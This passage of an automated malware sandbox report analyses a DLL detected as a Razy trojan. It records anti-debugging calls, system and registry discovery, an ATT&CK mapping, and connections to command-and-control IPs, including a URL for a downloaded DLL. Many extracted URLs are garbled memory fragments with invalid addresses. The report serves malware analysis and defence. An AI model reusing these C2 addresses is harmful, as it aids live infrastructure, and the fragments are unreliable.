Code function: 0_3_017AC77C push eax; ret

0_3_017AC77D

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,OutputDebugStringA,Sleep,OutputDebugStringA,GetAdaptersInfo,

0_2_6EB951A7

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EBA3930 GetTokenInformation,GetTokenInformation,GetSystemInfo,GetTokenInformation,

0_2_6EBA3930

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EBBCEF8 FindFirstFileExW,

0_2_6EBBCEF8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EC097B0 IsDebuggerPresent,IsDebuggerPresent,CreateThread,std::_Timevec::_Timevec,WaitForSingleObjectEx,

4_2_6EC097B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EC08B60 __invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__aligned_msize,__invoke_watson_if_error,__cftoe,__aligned_msize,__invoke_watson_if_error,GetFileType,WriteConsoleW,GetLastError,__cftoe,WriteFile,WriteFile,OutputDebugStringW,__invoke_watson_if_error,__CrtDbgReportWV,

4_2_6EC08B60

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EC047C0 mov ecx, dword ptr fs:[00000030h]	4_2_6EC047C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6ECDBA72 mov eax, dword ptr fs:[00000030h]	4_2_6ECDBA72
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6ECDB64D push dword ptr fs:[00000030h]	4_2_6ECDB64D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6ECDB942 mov eax, dword ptr fs:[00000030h]	4_2_6ECDB942

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EBA6C50 KiUserExceptionDispatcher,LdrLoadDll,

0_2_6EBA6C50

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EBA7A60 RtlAddVectoredExceptionHandler,		0_2_6EBA7A60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EBD63A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_6EBD63A0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.77.0.96 235	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.56.219.47 180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.46.210.220 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 143.244.140.214 40	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.28061.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.770628438.0000000001F40000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.771000138.00000000038A0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.770628438.0000000001F40000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.771000138.00000000038A0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.770628438.0000000001F40000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.771000138.00000000038A0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000002.770628438.0000000001F40000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.771000138.00000000038A0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000002.770628438.0000000001F40000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.771000138.00000000038A0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EC21E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EC21F40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	4_2_6EC22750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	4_2_6EC0BC30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EC21DB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	4_2_6EC0B0B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_6EC22960

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EBA2980 GetUserNameW,

0_2_6EBA2980

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection112	Process Injection112	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Obfuscated Files or Information1	LSASS Memory	Security Software Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Network Configuration Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	File and Directory Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Information Discovery23	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Razy.980776.28061.dll	7%	Virustotal		Browse
SecuriteInfo.com.Variant.Razy.980776.28061.dll	5%	ReversingLabs	Win32.Trojan.Razy

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://195.56.219.47:8116/	0%	Avira URL Cloud	safe
https://45.77.0.96//Fm	0%	Avira URL Cloud	safe
https://143.244.140.214:808/0	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dll	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/14H	0%	Avira URL Cloud	safe
https://143.244.140.214:808/3	0%	Avira URL Cloud	safe
https://143.244.140.214:808/lB(	0%	Avira URL Cloud	safe
https://143.244.140.214:808/&	0%	Avira URL Cloud	safe
https://455.56.219.47:8116/	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.0.96:6891/	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dllltbac	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/y#	0%	Avira URL Cloud	safe
https://192.46.210.220/TL	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/)	0%	Avira URL Cloud	safe
https://185.56.219.47/&	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/ra	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/p	0%	Avira URL Cloud	safe
https://143.244.140.214:808/Y	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/r	0%	Avira URL Cloud	safe
https://143.244.140.214:808/oft	0%	URL Reputation	safe
https://143.244.140.214:808/O	0%	Avira URL Cloud	safe
https://143.244.140.214:808/P	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/o)	0%	Avira URL Cloud	safe
https://453.244.140.214:808/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/S	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/fW	0%	Avira URL Cloud	safe
https://143.244.140.214:808/H	0%	Avira URL Cloud	safe
https://192.46.210.220/)	0%	Avira URL Cloud	safe
https://192.46.210.220/7.0.96:6891/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/#Gq	0%	Avira URL Cloud	safe
https://185.56.219.47/4	0%	Avira URL Cloud	safe
http://crl.globalsF	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/v	0%	Avira URL Cloud	safe
https://192.46.210.220/4	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/08/Y	0%	Avira URL Cloud	safe
https://143.244.140.214:808/B	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/14	0%	Avira URL Cloud	safe
https://192.46.210.220/.	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/O	0%	Avira URL Cloud	safe
https://143.244.140.214/	0%	URL Reputation	safe
https://143.244.140.214:808/My	0%	URL Reputation	safe
https://185.56.219.47:8116/S	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/S	0%	Avira URL Cloud	safe
https://185.56.219.47/	0%	URL Reputation	safe
https://185.56.219.47:8116/V	0%	Avira URL Cloud	safe
https://192.46.210.220/C	0%	Avira URL Cloud	safe
https://1845.77.0.96:6891/	0%	Avira URL Cloud	safe
https://192.46.210.220/?	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/Y	0%	Avira URL Cloud	safe
https://192.46.210.220/J	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/8D	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/08/	0%	Avira URL Cloud	safe
https://192.46.210.220/Q	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/X	0%	Avira URL Cloud	safe
https://143.244.140.214:808/	0%	URL Reputation	safe
https://143.244.140.214:808/7)	0%	Avira URL Cloud	safe
https://185.56.219.47/g	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/	0%	URL Reputation	safe
https://45.77.0.96:6891//	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/3	0%	Avira URL Cloud	safe
https://192.46.210.220/X	0%	Avira URL Cloud	safe
https://143.244.140.214:808/8DH	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/0	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/4	0%	Avira URL Cloud	safe
https://143.244.140.214/Q#	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/4	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/i#	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/)	0%	Avira URL Cloud	safe
https://143.244.140.214:808/%)	0%	Avira URL Cloud	safe
https://143.244.140.214:808/F)	0%	Avira URL Cloud	safe
https://143.244.140.214/v	0%	Avira URL Cloud	safe
https://19.77.0.96:6891/	0%	Avira URL Cloud	safe
https://192.46.210.220/i	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/B	0%	Avira URL Cloud	safe
https://192.46.210.220/g	0%	Avira URL Cloud	safe
https://143.244.140.214:808/O)	0%	Avira URL Cloud	safe
https://193.244.140.214:808/	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/H3	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/8	0%	Avira URL Cloud	safe
https://192.46.210.220/r	0%	Avira URL Cloud	safe
https://192.46.210.220/n	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hy	0%	URL Reputation	safe
https://143.244.140.214:808/8D	0%	Avira URL Cloud	safe
https://45.77.0.96/F7	0%	Avira URL Cloud	safe
https://143.244.140.214:808/b)	0%	Avira URL Cloud	safe
https://192.46.210.220/HL	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/65	0%	Avira URL Cloud	safe
https://143.244.140.214:808/k)	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/	0%	URL Reputation	safe
https://45.77.0.96/	0%	URL Reputation	safe
https://192.46.210.220/%Ev	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/rS	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/p	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/h.dll	0%	Avira URL Cloud	safe
https://192.46.210.220/coro8	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/6/	0%	Avira URL Cloud	safe
https://18192.46.210.220/	0%	Avira URL Cloud	safe
https://192.46.210.220/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://192.46.210.220/	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://195.56.219.47:8116/	loaddll32.exe, 00000000.00000003.626454578.00000000016DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96//Fm	loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/0	loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dll	loaddll32.exe, 00000000.00000003.600682349.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.439196608.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/14H	loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/3	loaddll32.exe, 00000000.00000003.399573978.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/lB(	loaddll32.exe, 00000000.00000003.747478637.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/&	loaddll32.exe, 00000000.00000003.756126236.000000000166D000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.567390680.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://455.56.219.47:8116/	loaddll32.exe, 00000000.00000003.586077792.00000000016DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.458615929.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://45.77.0.96:6891/.0.96:6891/	rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dllltbac	loaddll32.exe, 00000000.00000003.530192281.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/y#	loaddll32.exe, 00000000.00000003.444519765.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/TL	loaddll32.exe, 00000000.00000003.439196608.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/)	loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/&	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/ra	loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/p	loaddll32.exe, 00000000.00000002.769348582.000000000166E000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/Y	loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/r	loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.612166801.00000000034C9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/oft	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.747478637.000000000166F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.600682349.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.439196608.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.618224210.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.586087040.0000000001676000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/O	loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/P	loaddll32.exe, 00000000.00000003.658533321.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/o)	rundll32.exe, 00000004.00000003.741865046.00000000034C9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://453.244.140.214:808/	loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://143.244.140.214:808/S	loaddll32.exe, 00000000.00000003.408181456.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/fW	loaddll32.exe, 00000000.00000003.629814185.0000000001673000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/H	loaddll32.exe, 00000000.00000003.414827142.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.730453084.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/)	loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/7.0.96:6891/	rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/#Gq	loaddll32.exe, 00000000.00000003.400716165.0000000001673000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/4	loaddll32.exe, 00000000.00000003.392156959.0000000001673000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.globalsF	rundll32.exe, 00000004.00000003.377435107.00000000056FF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/v	rundll32.exe, 00000004.00000003.612201176.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/4	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/08/Y	loaddll32.exe, 00000000.00000003.399573978.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/B	loaddll32.exe, 00000000.00000003.414827142.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/14	loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.418080162.000000000166E000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.612201176.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/.	rundll32.exe, 00000004.00000003.533230659.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/O	loaddll32.exe, 00000000.00000003.586087040.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.390529394.00000000056FE000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/R	loaddll32.exe, 00000000.00000003.431000649.000000000166D000.00000004.00000001.sdmp	false		unknown
https://143.244.140.214:808/My	loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/S	loaddll32.exe, 00000000.00000003.586087040.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/S	loaddll32.exe, 00000000.00000003.569505666.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/V	loaddll32.exe, 00000000.00000003.703443485.0000000001675000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/C	loaddll32.exe, 00000000.00000003.747478637.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://1845.77.0.96:6891/	loaddll32.exe, 00000000.00000003.641066942.0000000001675000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://192.46.210.220/?	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/Y	loaddll32.exe, 00000000.00000003.676183514.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/J	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/8D	loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/08/	loaddll32.exe, 00000000.00000003.719882602.0000000001675000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Q	loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/X	loaddll32.exe, 00000000.00000003.519010998.00000000016DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.497146679.000000000166F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.400716165.0000000001673000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/7)	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/g	loaddll32.exe, 00000000.00000003.392156959.0000000001673000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.	rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.547755261.00000000034C9000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891//	loaddll32.exe, 00000000.00000002.769348582.000000000166E000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/3	loaddll32.exe, 00000000.00000003.658533321.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/X	loaddll32.exe, 00000000.00000003.497146679.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/8DH	loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/0	loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/4	loaddll32.exe, 00000000.00000003.408181456.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/Q#	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/4	loaddll32.exe, 00000000.00000003.708744109.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/i#	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/)	loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/%)	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/F)	loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/v	rundll32.exe, 00000004.00000003.390529394.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://19.77.0.96:6891/	rundll32.exe, 00000004.00000003.612201176.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/i	loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/B	loaddll32.exe, 00000000.00000003.418080162.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/g	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/O)	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
